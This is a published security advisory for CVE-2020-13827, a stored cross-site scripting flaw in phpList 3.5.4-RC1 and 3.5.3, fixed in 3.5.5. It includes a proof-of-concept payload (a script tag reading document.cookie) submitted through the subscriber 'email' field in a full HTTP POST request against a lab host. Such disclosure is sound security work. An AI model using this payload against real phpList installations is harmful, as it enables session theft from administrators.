Security Research & Advisories

Stored Cross-Site Scripting(XSS) Vulnerability in phpList 3.5.4

Vendor
Product phpList
Affected Version(s) 3.5.4-RC1, 3.5.3 and probably prior
Tested Version(s) 3.5.4-RC1 and 3.5.3
Vendor Notification May 20, 2020
Advisory Publication May 20, 2020 [without technical details]
Vendor Fix Version 3.5.5
Public Disclosure August 4, 2020
Latest Modification August 4, 2020
CVE Identifier(s) CVE-2020-13827
Product Description phpList delivers Open Source email marketing, including analytics, list segmentation, content personalization and bounce processing.
Credits Carlos Ramírez L. Security Researcher & Penetration Tester @wizlynx group

Vulnerability Details

Stored Cross-Site Scripting (XSS) Vulnerability
Severity: Medium CVSS Score: 5.4 CWE-ID: CWE-79 Status: Not Fixed
Vulnerability Description
The phpList web application is affected by stored Cross-Site Scripting (XSS) vulnerability affecting version 3.5.4-RC1, 3.5.3 and probably prior versions. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.
CVSS Base Score
Attack Vector Network Scope Changed
Attack Complexity Low Confidentiality Impact Low
Privileges Required Low Integrity Impact Low
User Interaction Required Availability Impact None

Description

The application phpList has one stored Cross-Site Scripting (XSS) vulnerability due to the lack of input validation and output encoding.

PoC

The value of the app request parameter is copied into the value of a Javascript. The payload user<script>alert(document.cookie)</script>[email protected] was submitted in the app parameter “email” as shown below:

This input was echoed unmodified in the application's response resulting in a Cross-Site Scripting (see request below).

POST /lists/admin/?page=user&id=6 HTTP/1.1
Host: 192.168.50.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.236/lists/admin/?page=user&id=6
Content-Type: multipart/form-data; boundary=---------------------------10719020351727042501239800951
Content-Length: 2209
Connection: close
Cookie: browsetrail=%3Fpage%3Duser%26id%3D6; browsetrail=; PHPSESSID=cprskb1b878fckn0mvkg6at7pl
Upgrade-Insecure-Requests: 1

-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="formtoken"

2ca4f06065cf7aacdd4d6dd804080dee
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="list"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="id"

6
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="returnpage"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="returnoption"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="email"

user<script>alert(document.cookie)</script>[email protected]
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="confirmed"

0
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="htmlemail"

1
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="rssfrequency"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="password"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="disabled"

0
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="extradata"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="foreignkey"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="attribute[2]"

0
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="attribute[3]"

0
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="attribute[1]"


-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="change"

Save changes
-----------------------------10719020351727042501239800951
Content-Disposition: form-data; name="subscribe[]"

-1
-----------------------------10719020351727042501239800951--

The screenshot below shows that the XSS payload is submitted through /list/admin/?page=user&id=6 page:

The following screen shows the response when consulting section "Search subscribers":

The following screenshot shows the JavaScript being executed on the client side:

The following screenshot shows the version of the tested phpList:

Top